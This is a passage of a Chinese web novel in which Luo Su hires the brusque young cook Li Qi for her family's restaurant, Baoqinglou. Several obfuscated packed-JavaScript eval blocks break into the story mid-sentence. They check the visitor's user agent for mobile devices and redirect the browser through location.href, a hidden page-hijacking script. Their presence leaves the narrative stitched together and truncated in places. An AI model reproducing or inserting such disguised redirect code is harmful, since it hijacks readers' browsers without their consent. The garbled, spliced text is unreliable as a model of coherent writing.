“放心,目前一切还好,你当天网是吃素的呀!对了,我发现死人脸其实不坏,没外表看起来那么不近人情,就是脾气臭了点。” 洛苏把自己的分析和结论说得头头是道。 施蜜一边打车一边跟她闲聊,生怕断了联系。 “他买了一堆文具和玩具,我怀疑他可能有一个孩子。” “不会吧?为什么帅哥都英年早婚啊!” “反正他都进去半小时了,还没出来。不过我倒觉得这是好事,如果他真的有孩子,肯定会为了五斗米折腰……” “哈哈哈……当代三座大山——房贷车贷后代,沾上一样就得当牛做马。我快到了,你给我发个位置共享,这什么破地方啊,你也是心大,万一遇到坏人……” 施蜜还没说完,电话里突然传来“嘟嘟嘟”的忙音。 电话被挂断了。 洛苏是被吓的。 原来人在受到惊吓的时候,真的会把手里的东西扔出去。如果没扔,那只是因为惊吓程度不够。 看来电视剧没骗人。 洛苏的第一反应竟然是这个。 她把脚边破风而来的小石头当成了生命中不能承受之重——老鼠。 “啊——” 尖叫声划破了夜空,在这乱石堆砌的城中村犹如鬼哭狼嚎。 “现在知道怕了?” 楼房前的门灯突然亮了,昏黄的灯光下,男人嘴角带着嘲讽的笑意,像一个诡计得逞的狂徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那些规则律法好像只对在意自己声名的人有效,这个人根本是死猪不怕开水烫。他不介意让自己看到他恶行恶相的一面,甚至巴不得让自己看到。而且,就在两个小时前,他还用小刀威胁过她。 “再说,你不是说自己胆子很大吗,我看也不怎么样。” 他的视线像一阵无形的风,从洛苏身上刮过,虽然看不见摸不着,却让她浑身一颤。 打嘴皮子仗,她还没怕过谁呢! 洛苏眼珠一转,灵光乍现。 “我怕老鼠我丢什么人,有人怕女人才丢人呢!” 刚才她惊慌失措下扑到他怀里,明显感受他的惊恐和抗拒。掰她胳膊的力气是实打实的,她现在胳膊还酸得厉害。 “你也算女人?我没见过哪个女人深更半夜随便跟陌生男人到处跑,也没见过哪个女人主动朝陌生男人投怀送抱。” 忍!成大事者不拘小节! 不听不听,王八念经! 洛苏做足了心理建设,靠近一点,扬起笑脸:“我叫洛苏,你叫什么?知道名字可就不算陌生人了。” 男人看她一眼,移开视线,大步往外走。 “黎祁,黎明的黎,祁寒溽暑的祁。” 黎祁。 艰苦生活里的希望之光? 洛苏点头,看不出来他还挺有文化的。可转念一想,黎祁,不就是豆腐吗? 脚下不由自主跟上他的步伐,大喊道:“死人脸,啊呸!白豆腐,等一下!” 5. 跟我回家 黎祁好像突然消失了。 整整五天,洛苏去拆迁区的小破院,人去楼空,只有铁将军把门。到小区里蹲点,除了蹲到他说的五楼吸毒老光棍,连正主的鬼影都没有。巷子里的摊儿他也不摆了,许多人和洛苏一样,望着空荡荡的小巷怅然若失。 “你说他不会被你吓到跑路了吧?” 施蜜看热闹不嫌事大,那天晚上她在路口没等到洛苏,倒先等来了黎祁。 他口罩覆面,一双眼睛冷冷扫她一眼,然后就头也不回地走了。孤寂高大的背影在夜色里独树一帜,让她想起了香港电影里的古惑仔,不禁感到浑身一凉。 洛苏喘着气跟在他后面出来,嘴里还嚷着:“死白豆腐,就你腿长!” 施蜜扑上去抱住了洛苏,嘴里不住嘀咕:“你没事吧?我看看!” 她上上下下、前前后后检查了一遍,发现洛苏衣着完好,骂人的声音响彻云霄,一颗悬着的心终于彻底放下了。 “他怎么你了?” “你应该问我怎么他了!” 洛苏看着黎祁离去的背影,气不打一处来。大晚上她跟了一路,结果被他一块小石头吓得魂飞魄散,该干的正事一无所获。 “行,那你怎么他了?他看起来怎么那么拽?那眼神,啧啧,像要把我给劈了。” “我能怎么着他?不就是抱了他一下,至于吗?我又不是洪水猛兽。” 洛苏想到这个更气。她好歹也是一个如花似玉、人见人爱的甜妹吧,小时候邻居那些小男孩都争着抢着和她玩,什么时候受过这种冷遇?黎祁那眼神,好像她是什么脏东西一样,恨不得马上从身上弹开。 “我去!我让你搞美人计你真搞啊!” 施蜜大叫,脸上满是兴奋和八卦的表情。 “什么美人计,我觉得他压根不像直的。不提了,提起来我就火大,你说我长得有那么寒碜吗?” 施蜜双手捏着洛苏的脸,一副认真研究的模样,“你要是丑,那就没美女了。虽然算不上惊世骇俗的大美女,但也是俏皮可爱的小美女啊,怎么?他说你丑?” 洛苏摇头,算了,不跟死人脸计较。 今晚也不算空手而归,起码知道了他的名字,还有他可能有一个孩子。这已经是很大的收获了。 “他敢!我不就是抱一下吗,至于吓得跑路吗?” 洛苏嘴上这么说,心里却也有点忐忑。 死人脸不会真的因为她抱了他一下就吓跑了吧…… 洛玉柱最近静脉曲张发作了,腿酸胀得站不住,有时候还抽筋,妻子苏爱云劝说了好久,他才肯去医院做理疗。 洛苏孝顺,每次理疗都雷打不动陪着父亲去,名为照顾,实为监督。 洛玉柱看出女儿的小心思,无可奈何,只得谨遵医嘱,每天去中医科报到。 连续做了一周的理疗,效果很明显。洛玉柱多年饱受职业病折磨,此刻腿部犹如重获力量,走路都轻快了不少。 洛苏挽着父亲的胳膊,有说有笑,不时把洛玉柱逗得开怀,看向女儿的目光中满是宠爱。 医院门口,一个高大的身影迎面而来,脚步匆匆,擦肩而过的瞬间,目不斜视。 洛苏猛地后退,一个箭步杵到那人面前,差点被他前进的惯性撞倒。 “黎祁!终于找到你了!” 黎祁后退两步,深吸一口气,开始调整情绪。 一进医院大门他就看到了洛苏。 她挽着一个中老年男人,看样子是她父亲,两人有着相似的轮廓。洛苏的嘴依旧说个不停,那老人不住点头微笑,两人快活轻松的姿态和周围满面愁容的人有天壤之别。 他刻意往边上挪了挪,不想跟她照面,他还有事,也没时间在这里跟她纠缠。 可谁想到身旁一个老太太着急往前赶,挤了他一下,硬生生把他挤到了洛苏的身边。 就这样,他又被她逮到了。 “有事吗?” 黎祁看了她一眼,转而看向别处。 “你生病了?难怪这几天没去摆摊。” 洛苏看到他头发有些凌乱,眼睛里还有血丝。不知不觉语气里就带上了几分关切,连她自己都没发觉。 “没事的话我先走了。” 黎祁不回答她的问题,他知道只要他顺着她的话说,准会没完没了。 “别走嘛,你考虑一下吧,我真的很有诚意邀请你来我们家当大厨,宝庆楼听过吗?做鱼丸很出名的。只要你肯来,我绝对不亏待你!” 这段话洛苏已经烂熟于心,随时脱口而出,只要看到黎祁,这就是她独一无二的开场白。 黎祁脸上不动声色,但心里却起了一丝波澜。宝庆楼,他的确听说过。在职校学厨的时候,老师提到过,说宝庆楼是百年厨艺世家,鱼丸做得一绝。 他也擅长做鱼丸。 每个擅长厨艺的人遇到厨艺行家,都免不了想切磋一二。就跟江湖中人遇到武林高手就想要挑战一番一样,对手越出名越好。 在做鱼丸这个赛道里,宝庆楼无疑就是厨师想要挑战的一个目标。 “宝庆楼不是以鱼丸出名吗?还需要请厨师?” 洛苏摆摆手:“说来话长。” “那就长话短说。” 洛苏只得摊开手,有点无奈地解释:“我爸爸只有我一个女儿。他不同意我学厨。” 黎祁挑眉,示意她继续说下去。像这种有独门手艺的人家,多半是讲究技艺不外传,有的甚至恪守传男不传女的陈规旧俗,如果没有儿子,那基本就宣告了这门手艺的终结。除非…… 不过他不认可。 职校里有男有女,有的女生比男生学得更好,他不理解性别和做厨有什么关系。 “做厨需要年轻力壮,我爸年纪大了身体不好,所以……” 黎祁点头,原来如此。 “那你们家需要的是一个女婿,不过很遗憾,我没这个兴趣。” 他故意挑难听的话说,气得洛苏柳眉倒竖,刚要回嘴,他手机响了。 “喂……你别担心我会想到办法的……好,我马上回来。” 洛苏见他剑眉紧锁,显然这个电话带给他的不是好消息。 “如果我去,你能出多少钱?” 洛苏几乎怀疑自己耳朵听错了。 不过几分钟,形势就逆转了?她懵懵地看着黎祁,忘了回答他的问题。 “这是我的联系方式,你想好了告诉我。我现在有急事,要先走。” 他调出二维码,示意洛苏添加好友。 洛苏心不在焉打开手机,扫码添加好友。 黎祁点击通过,对她点头示意,然后就大步流星离开了。 洛苏回过神,打开他的界面,放大缩小再放大。他头像一片漆黑,她还以为是手机显示故障,反复检查了几次才确信手机没问题。 他的社交名称就是真名,哈哈,好土。 洛苏以为只有老年人才会用真名当社交网络名。 她发了个“哈哈哈”表情过去,一个猥琐变形熊猫脸在屏幕上猖狂地笑。 “他是你朋友?” 洛玉柱见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207642|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人走远了才走到女儿身边。他极其尊重女儿的独立性和隐私权,除了必要的关心,从不对女儿的朋友圈追根究底。 洛苏点头又摇头。 洛玉柱被她傻乎乎的样子逗笑了:“到底是不是?爸爸被你弄糊涂了。” “不算吧,他就是我找的厨师。” “这么年轻?”洛玉柱不敢置信,又往黎祁离开的方向看去,可哪里还看得见。 他做厨四十载,尽管从小耳濡目染,可也是到三十来岁才称得上技艺娴熟。 刚才那小伙子,年纪轻轻,如果上次那鱼丸真是他做的,他的天赋绝对远超自己。 洛苏笑着挽住父亲的胳膊,夸道:“对啊,爸爸,长江后浪推前浪,他这么年轻要是能为我所用,岂不是如虎添翼?” 洛玉柱叹了口气:“可我看他脾气不太好的样子,这样有性格的人又有技艺傍身,怎么可能甘心屈居人下,一辈子给人打工呢?” 洛苏竖起大拇指:“爸,您可真是火眼金睛,他脾气可臭了!” “我看你干不成,这种人软硬不吃的。” “嘿嘿,可我运气好啊!”洛苏亮了亮手机,“爸,您别担心,我保准把这事儿办好。到时候您就每天翘着二郎腿喝茶,让他干活,给我们挣钱!” 黎祁直到晚上才给洛苏回消息。 手机锁频显示黎祁发来消息,洛苏激动得马上打开手机,结果只看到一个“?”。 她的血压马上就高了。这是个什么人啊?多说一句话能死? 她有样学样,也发了个问号过去。 这回黎祁回消息很快。 “洛苏?” “黎祁?” “是的。” “不然呢?” 洛苏捧着手机狂笑,她能想象到黎祁看着“不然呢”三个字气得瞪眼的样子。 “你出多少钱?” 黎祁面不改色,他单手打字有点慢,不想说无关的废话。 病房里很安静,大家都睡着了,他也不想聊太久把人吵醒。速战速决就好。 “跟我回家,给你十万!” 洛苏做过功课,星级酒店大厨自然不止这个价。可她们是个体户,餐厅规模也不大,年薪十万已经不少了。后面如果生意好起来,再给他加薪也可以。 十万,是她目前能拿出的最高的薪水了。 “回家”两个字刺痛了黎祁的眼睛,他没想到有人竟然能如此轻易随便地对陌生人说出“跟我回家”这四个字。更别提一个女人对一个男人说这四个字,通常意味着什么。 “你要不要脸?” 洛苏不解,跟我回家和要不要脸有什么关系?想了想,突然意识到这句话存在歧义。 心里脏看什么都脏。 她克制住想要狠狠损他一顿的冲动,不能把好不容易到嘴边的鸭子给气跑了。 “说太急了,跟我回家当大厨,给你十万。” “月薪?” 你做梦! 洛苏对着手机“呸”了一口。月薪十万,你怎么不去抢? “年薪。” 年薪十万,对黎祁来说真不多。他摆路边摊一个月平均能挣一万多,心情好的时候摆久一点,心情不好索性就不出摊,谁都管不着。自由自在,无拘无束。 给人打工,要受各种制约,根本不适合他。 可当下,他需要钱,越快越好。他没有那么多时间摆摊,来慢慢凑够三十万。 一文钱也能难倒英雄汉。 “如果能一次性预支,我就答应。” 6. 宝庆楼 早上九点,洛苏趿着毛绒拖鞋到隔壁王婶儿家过早。 本地人管吃早饭叫“过早”,和过节一样重视,早饭是非常丰盛且隆重的。午饭和晚饭可以从简,但是早饭必须认认真真地吃,不仅要吃饱还要吃好。 隔壁王婶儿开早点铺子二十多年了,品种繁多,物美价廉,洛苏从小就在她家过早。 “王婶儿,我要一碗糊汤粉,一根油条。” 洛苏纠结了半天,还是选了糊汤粉。昨天早上吃的煎包和蛋酒,今天想换换口味。可王婶儿的早点地道,每种都馋人,她怎么也吃不腻,只恨自己不是大胃王。 “酥酥啊,今天怎么起这么早啊?平时不都睡到十点?” 王婶儿笑呵呵给洛苏包油条,还不忘打趣她。 “今天有事,家里来了新厨师,得招呼一下。” 洛苏接过糊汤粉和油条,忍不住吸了一鼻子,对味! 糊汤粉的汤底是鲜鲫鱼汤熬的,滨江城市盛产河鲜,本地人爱吃鱼也会吃鱼。汤汁浓稠鲜香,撒上一把黑胡椒和嫩小葱,还有干虾皮,又香又麻。粉丝煮得软糯,入口即化,蘸上金黄香酥的油条,酥脆和软糯,极致的反差却奇异地调和。吃完浑身热乎乎的,连鼻子都通畅了。 这是洛苏最爱的早点搭配之一,还有豆皮、热干面、水饺、牛肉面、汤包……她的早餐一周从来不重样。 “哟,请新厨师了啊?生意越来越好啦!也是,你爸也该休息休息了,前几天我看你爸累得站不住,在门口的椅子上歪了好久,没事吧?” “没事,就是静脉曲张发作了,做了理疗好多啦。王婶儿,过年的鱼丸打算要多少啊?我看您生意这么好,肯定是鱼丸吃得多,年年有余!” 洛苏嗦了一口粉,开始和王婶儿推销。 “那是那是,你个鬼丫头长得俏皮,又洋气,嘴还甜,不跟你家买跟谁买,今年加五十斤,我送人。” 王婶儿瞄了瞄洛苏,下面是宽松卫裤,上身卫衣外面套了件收腰长款羽绒服,脚上还穿着卡通拖鞋,明明是有点邋遢的打扮,但这女伢子穿就是好看,腰是腰,腿是腿,难怪是学美术的,审美就是好啊! 可惜自家儿子不成器,不然远亲不如近邻,近水楼台的,能先得月也好啊…… 不过估计人家看不上自家两百斤的儿子。 王婶儿很快就又死了心,自从洛苏长大后她的心隔三差五就要这么死上一回。 洛苏吃完优雅地抹干净嘴,又买了一杯豆浆吸着,慢悠悠往家走。 她喜欢这样的早晨,江城的冬天鲜有这样阳光明媚的好天气,大多时候是湿冷难熬的,哪怕是寒假,她也开心不起来。可若是这样的晴天,被窝对她的吸引力都没那么大了。早起吃一顿满意的早餐,身心舒畅! 她突然诡异地联想到黎祁,他的名字真的很好,和这天气很搭。 今天是黎祁来上班的第一天。 洛苏已经跟爸妈讲好了,至于薪水她没说真话,只说先试用一个月,后面再谈,其实早已经自掏腰包提前预支给黎祁了。 她积蓄不多,才毕业两年,在许多人还在啃老的时候,她靠兼职自媒体赚到了第一桶金,存下了一笔钱。幸好她平时没什么烧钱的爱好,除了寒暑假出门旅行,吃穿都比较节俭。 想到这还是有些肉疼。 该死的白豆腐,狮子大开口,一下就讹走了她一半的存款。洛苏决定,她要把这尊佛用到极致。绝不白花一毛钱! 老豆叼根牙签一边摘菜一边问:“酥酥,你请的厨师怎么还没来啊?不会放鸽子吧?” “你别胡说,酥酥说是个帅哥呢,每天对着你和冬瓜,我们都审美疲劳了,终于有帅哥了,你可别乌鸦嘴!” 菜菜瞪老豆一眼,杏眼睁得像铜铃。 “菜菜,姐姐我看你年纪小,让你一天,一三五归我,二四六日归你。” 丸子两手各拎一把实木椅子,椅子稳稳落地,她纹丝不动。 “花痴!也不照照镜子,人家帅哥能看得上你?” 老豆嫌弃地打量丸子一百六的体重搭配一米六身高的喜庆身材。 “老豆,丸子姐,你们……你们别吵了……”冬瓜憋半天只憋出了这句话。 宝庆楼不做生意的时候总是这样热热闹闹的,你挤兑我几句,我编排他几声,谁也不往心里去,谁也不会当真。 老豆虽然叫老豆,但实际上还不到四十岁,因为太瘦像豆芽,得名老豆。没什么文化,但人老实,当初从农村出来找工作,没技术又没门路,没人要他,洛玉柱看他勤快又麻利,就收下了他。这一干,就是二十年。渐渐也学了些嘴皮子功夫,不像以前那样老实巴交、笨嘴拙舌的了。 菜菜是个小姑娘,才二十岁,初中毕业,在家里混了几年出来找工作贴补弟妹。长得属实一般,但是却叫蔡美丽。每叫她的大名一次,就好像在嘲笑她平平无奇的外表,最后大家索性不叫她大名,只叫菜菜。 丸子也是老员工了,明明长得很有福气,却总是一脸不高兴的样子,她和菜菜,就像那个著名的动画片“没头脑和不高兴”。 洛苏清清嗓子,示意大家听她说话。 “等会儿新的厨师就要来了,我们要让他看看咱们宝庆楼的良好风貌。马上就是年关了,大家好好干,争取除夕年夜饭拿个大红包,我说了算!” “真的?大红包?” 老豆几乎是看着洛苏长大的,把她当自家小妹妹那样疼,刻意做出夸张的表情,十分滑稽。 “多大?”菜菜兴奋起来,她早就想去烫头发了,可一直没什么钱。 “你那几根头发就别折腾了,不如先去看看皮肤科把脸上的痘印治好。” 丸子没好气地提醒菜菜。 几个人正七嘴八舌不可开交,门口的光突然暗了下来。 “这里是宝庆楼吗?” 声音低沉清冷,就像艳阳里迎头而下的一盆冷水。 大家循声望去,一个年轻男人站在门口,双手插兜表情冷酷,白皙的脸颊没什么血色,映衬着乌黑的寸头和利落的夹克,有点像收保护费的。 可自从扫黑除恶之后,别提保护费,什么费都没人敢收了。 大家你看看我,我看看你,然后不约而同地扭头看着这个奇怪的来客。 老豆甚至紧张得抓了抓手边的扫帚。 这场景有点搞笑。 黎祁有点想笑。怎么这帮人看着蠢蠢的? “白豆腐,你来啦!” 洛苏跳起来,小跑到门口,特意提高嗓门:“大家注意,这就是我们的新厨师,黎祁。” 洛苏带头鼓掌,又示意大家跟上。 老豆会意,马上跟着鼓掌。 大堂里响起稀稀拉拉的掌声。 黎祁有点不自在,想说点什么又说不出口,只得点点头算打招呼。 菜菜合上大嘴巴激动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207643|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得语无伦次:“丸子姐,他好……好帅……” 丸子瞟她一眼:“你口水流出来了。” 洛苏用眼神警告大家,尤其是菜菜,可她毕竟年轻,不会伪装,丸子只得好心拧她的胳膊,她才终于收回了肆无忌惮的眼神。 “这是冬瓜,我爸的徒弟,现在是助厨,这是老豆,大堂总管……” 一一介绍完毕,黎祁终于冷冰冰开口:“我是黎祁,黎明的黎,祁寒溽暑的祁。” 说完,他就转向洛苏,从夹克口袋掏出两个小本本:“这是我的厨师证和健康证,你看看。” 还挺上道,哪像没打过工的样子?她好奇接过小本本打开看。 高级中式烹调师。 旁边的照片显然是他年轻时候拍的,头发长一点,眼神还没现在这么冷酷。 老豆凑在旁边,看到“高级中式烹调师”几个字,大叫:“冬瓜,人家和你差不多大,都是高级厨师了,你得努力呀!” 菜菜的眼睛已经成了爱心,崇拜地看着黎祁,声音嗲嗲地说:“哇,黎大哥好厉害!” 洛苏竭力憋住笑,差点被自己的口水呛死。 她感到身边的人在用力克制打人的冲动,浑身散发着寒气和杀气。 嘿,白豆腐,没想到你也有今天吧! “酥酥,人来了吗?” 洛玉柱浑厚的声音从后厨传来。 洛苏上前搀住父亲,又冲楼上喊:“妈,快下来,新厨师来了。” 洛玉柱拂开女儿的手,笑呵呵道:“我还没老得要你扶,走,看看!” 他刻意迈着大步走进大堂,见大家围着一个高高的小伙子,小伙子显然不自在,但还勉强忍耐着。他心里忍不住赞了一声,虽然脾气怪了点,但是还挺有礼貌。 黎祁如蒙大赦,绕开人群,走到洛玉柱面前,伸出手和他握了握,语气也缓和了许多:“您好,我是黎祁,您可以叫我小黎。” 他没有多少和这个年纪的人打交道的经验,但是洛玉柱面相和善,热情大方,让他觉得不抗拒。 紧跟着,苏爱云也从楼上下来了。 “哎呀,真是个精神帅气的小伙子!” 苏爱云笑着夸赞,像所有中年妇女那样,忍不住在黎祁的手臂上拍了拍。 她和厨师打了一辈子交道,第一次看到做厨却这么干净清爽的人。 由于职业关系,大多数厨师给人一种油腻腻的感觉,即使很注意个人卫生,身上也似乎总有一股去不掉的油烟味。可眼前这个小伙子,若是不说,完全想象不到他是厨师。 她已经有点迫不及待想试试他的手艺了。 黎祁勉强扯扯嘴角,算是笑了笑。 洛苏扭头偷笑,转过脸却又是一副泰然自若的模样。 “白豆腐,说好的,今天午市你先熟悉环境,晚市就轮到你了。” “酥酥,注意礼貌,胡叫什么呢,叫人家黎大哥。”苏爱云嗔了女儿一眼。 “那怎么不叫冬瓜‘冬瓜哥’?”好学的菜菜发问了。 洛苏打蛇随棍上,捏着嗓子喊了一声:“冬瓜哥——” 那声“哥”特意拖得长长的,像极了电视剧里特殊从业者的语气,冬瓜的脸瞬间红得像番茄。 大家哄堂大笑。 黎祁也忍不住跟着笑了笑。这样的环境和氛围是他不曾经历的,可却很自然地就接受了,甚至连他自己都没发觉他也被洛苏逗笑了。 7. 第一次 宝庆楼的后厨不大,只有两个灶台,但是一切都井然有序,并不敷衍。 洛玉柱指着操作台:“以后宝庆楼就看你们俩了。” 黎祁环视一圈,不做声。 他和洛苏的合同只签了一年,“以后”太久远,他从不考虑那么远的事情。 冬瓜不服气地瞪了黎祁一眼,气鼓鼓的。 洛玉柱看穿他的心思,笑呵呵拍拍他的肩膀:“冬瓜,小黎是专业学校学习过的,你们俩差不多大,以后互相学习,你也争取早点拿个高级证书,这样咱们宝庆楼更是如虎添翼了。” 冬瓜虽然一根筋,但是还不傻,一听就知道师父的意思是让他多跟黎祁学习,脸色发青,更加不服气了。 洛苏钻进厨房,笑眯眯对黎祁说:“我们包吃包住,有专门的宿舍,你要是愿意可以住过来,这样上下班也方便。来,我带你参观一下院子还有仓库。” 她说着就拉起黎祁的袖子,兴致勃勃往外走。 黎祁不妨被她拉得一个趔趄差点绊倒,当着洛玉柱的面又不好甩开她的手,只得乖乖跟着她出去了。 冬瓜看到洛苏的白嫩小手拽在黎祁褐色外套上,脸又从青变红。 “这是院子,平时我们在这里摘菜洗菜、做鱼丸……”洛苏没察觉自己动作过于亲热,嘴里滔滔不绝介绍着自己引以为傲的院子。 小时候,这院子就是她的乐园。父亲在院子里捣鱼糜,她就跟着在旁边跳绳,父亲捣一下她就跳一下,看谁坚持得更久。做鱼丸不需要蛋黄,母亲在桌上分离鸡蛋,她也跟着学。却老把蛋壳打到蛋清里,不然就是弄混了蛋清和蛋黄,又要母亲善后。 黎祁默默甩甩胳膊,把洛苏的手从他衣袖上丢开。院子不大,但是收拾得井井有条,地板也显然经常冲洗,不像有些餐馆的后厨,油腻得没法下脚。 他对洛玉柱的好感又增加了几分。 做厨最重要就是色香味洁,再好看再美味的食物,如果不干净,也是不及格的。从这些细节上可以看出,洛玉柱是个非常讲究和严格的厨师。 既然是来打工,当然希望尽可能和老板理念相合,否则痛苦的是自己。 “喂,你是住宿舍还是自己住?” 洛苏见他心不在焉,分明已经神游,伸出手在他眼前晃了晃。 “我不住宿舍。” “上午十点上班,下午两点到四点休息,晚上看情况,生意好的话可能要到十点,正常情况九点就可以下班了。你可别迟到,否则我会扣你工资。” 洛苏叉腰,凶巴巴威胁他。 黎祁似笑非笑看着她色厉内荏的模样,提醒道:“我已经预支了工资,你要扣的话等明年吧,不过我不确定明年我还在不在这里。” “你!死人脸!臭豆腐!” 洛苏冲他离去的背影大叫。 午市生意一般,一点钟左右就没什么客人了。其余人在吃饭,洛玉柱揉着腰,坐在门口的椅子上喝茶。做饭的人不爱吃饭,油烟味闻多了味觉似乎都退化了。 他一边喝茶,一边打眼看里面的黎祁。他安安静静吃饭,吃得也不多,细嚼慢咽,和一旁狼吞虎咽的冬瓜、老豆形成了鲜明对比。 黎祁午市没掌勺,只跟冬瓜一起备菜,可就简单的备菜,洛玉柱也看出他道行不浅。平常冬瓜备菜,要他具体吩咐到切丝还是切段,切块还是切条,哪怕他已经学厨七八年,可他就是不放心。而黎祁只看一眼点菜单,就知道该备什么菜,该怎么备。他话不多,但动作娴熟迅捷,刀工老练,切出的菜规整漂亮,远比冬瓜效率高。 今天因为有他,洛玉柱话都少说了许多。他呷着茶,心里感到美滋滋的。 女儿找来的这个小伙子可真不错! “老豆,吃饱了吗?” 洛玉柱招呼老豆坐到他旁边。 “还真别说,小黎做菜真不赖,好吃!我还多吃了一碗饭呢!” 老豆抹抹嘴,有点意犹未尽。平时午饭的菜都是冬瓜炒,今天是新来的小伙子炒的,闻着都更香。要不是菜被抢光了,他还能再塞一碗。 “和我比怎么样?”洛玉柱笑问。 老豆是个老实人,虽然学会了嘴上不饶人,但是在洛玉柱面前一贯实话实说,不敢玩心眼儿。 “你要听真话还是假话?” “当然听真话,假话有什么意思?” 洛玉柱已经知道答案了,但还是想亲耳听听。 “和你年轻的时候差不多,但是比你现在强那么一点点。”老豆用拇指和食指比划着。 “人老了么,不过也好,总要有年轻人赶上来才行嘛,明天我们再试试他的鱼丸。酥酥这丫头说比我做得更好吃,我要看看她是不是胳膊肘往外拐。” 冬瓜和丸子还在为青椒肉丝里的最后一块肉归谁而争吵。菜菜顾不上吃饭,一副花痴的样子盯着黎祁。 黎祁竭力回避她的目光,几次差点呛到。尽管他多次使眼色示意洛苏做点什么,可她就是假装看不到,明显一副幸灾乐祸的样子。最后还是苏爱云看不过去,解救了他。 他突然就有点后悔。这里的人都怪怪的,可是其余人似乎习以为常,反倒显得他才是那个不正常的人。 饭后,大家一致认为,黎祁做的菜完全不亚于老板洛玉柱,而他更年轻,更有可能让宝庆楼起死回生。 洛苏发现,大家干活突然都变得更卖力了。或许是为了年终红包,或许是因为人情世故,总之,不管为了什么,宝庆楼许久以来第一次焕发了生机。 洛苏深切地感受到了这种变化,她也很清楚,这种变化是谁带来的。 晚市,洛玉柱就放心地把掌勺的权力交到了黎祁的手上,他在一旁督阵顺便打下手。 晚市的生意比午市好一点,毕竟百年老店的声望犹在,虽然不及以前,但也还过得去。尤其是那些吃惯了本地口味的熟客,年底请客或是吃团年饭,总会想要来宝庆楼订一桌。 洛玉柱不停切菜,冬瓜也忙得团团转,只有黎祁,热锅、炒菜、颠锅、起锅,像流水线一样稳定,仿佛不知疲倦。 洛玉柱忍不住感叹,还是年轻好啊!又抽空激励冬瓜,这傻小子虽然不服气,但是午饭可没少吃! 洛苏在大厅帮忙收银,以往这个活是母亲苏爱云的,她放假在家就接过来,让母亲可以休息。 今晚生意明显比往常好一些,许多桌还加了菜。有些嘴刁的客人吃出了不同,还问是不是换了厨师。 洛苏笑呵呵上前解释,她笑容可亲嘴又甜:“不是换了厨师,是又请了一个大厨,味道怎么样?好吃的话今天这个清炒菜苔就算送的,以后常来啊!” 熟客都知道她是老板的女儿,纷纷应承,说要介绍给朋友亲戚。 十点钟,晚市终于结束了。 所有人都觉得比以前累。 菜菜揉着胳膊不停抱怨:“手好酸……” 她负责端菜和点菜,一晚上不知道跑了多少趟。 老豆也累得像蔫了的豆芽,坐在椅子上有气无力地说:“我的老腰诶!” 洛苏专心数钱。 其实不需要数,现在几乎没人用现金支付,手机支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冬瓜心情好多了,憨笑着摸摸肚子:“我饿了,你也饿了吧,我们快去吃饭。” 黎祁不在大堂,也不在后厨,洛苏在院子里找到了他。 他还没脱下厨师服,白色的身影在微弱的灯光里很好辨认。 洛苏悄无声息走到他身后想吓吓他。 “有事吗?” 不等她先下手为强,黎祁清冷的声音倒先把她吓到了。 “没……没事。你不吃饭吗?” “不饿,不想吃。”他站了几个小时,只想静静坐一会儿。 打工比摆摊累太多了…… “要不要喝点粥?我爸每次晚上下班也说不想吃饭,我知道是油烟味熏多了,没胃口。” 黎祁有点意外,扭头看着她:“没想到你还挺……孝顺。” 他原本想说“贤惠”,可觉得这样形容女孩子不太恰当。贤惠,好像通常是用来形容一个人的老婆。 洛苏“切”了一声:“你没想到的还多着呢!” 她走进厨房真的端了一碗粥出来,上面码着些小咸菜,看着还挺开胃。 “我晚上习惯熬点粥,我爸吃不下饭喝点粥胃里会舒服很多。你尝尝看。” 黎祁看看粥,又看看洛苏,她脸上带着真诚笑意,又带着些孩子气,像做了好事急于得到表扬那般期待和急迫。仿佛他的肯定非常重要。 这是第一次,有人用这样的眼神看他。 8. 新年 黎祁习惯了被人蔑视。他在一个弱肉强食的世界长大。大孩子偷偷欺负小孩子,强壮的孩子肆意欺凌瘦弱的孩子,这是他生活中早已习惯的部分。 曾经,他也是那个被人欺负的角色,在无人注意的角落,被抢走碗里的肉,被偷走没舍得喝的牛奶。他只能忍气吞声,因为反抗需要力量,而他没有。 所幸他后来长高了,当别人都忙着玩游戏的时候他暗自锻炼,终于越来越强壮越高大。在他把抢他牛奶的孩子头暴打一顿之后,终于再也没有人敢欺负他。 后来,他学有一技之长,开始独自在社会上讨生活,他发现看他的目光渐渐变了。还是有蔑视,来自那些自以为高人一等的人,觉得一个摆路边摊的能有什么前途?看他的眼光带着哀其不幸,怒其不争。 但更多的是年轻女孩的好奇,她们总是结伴来光顾,总不忘拿着手机偷拍。她们看他的眼神是赤裸的见色起意,甚至还有人大着胆子调笑,问他的电话号码,或者要请他吃饭。 黎祁讨厌她们。 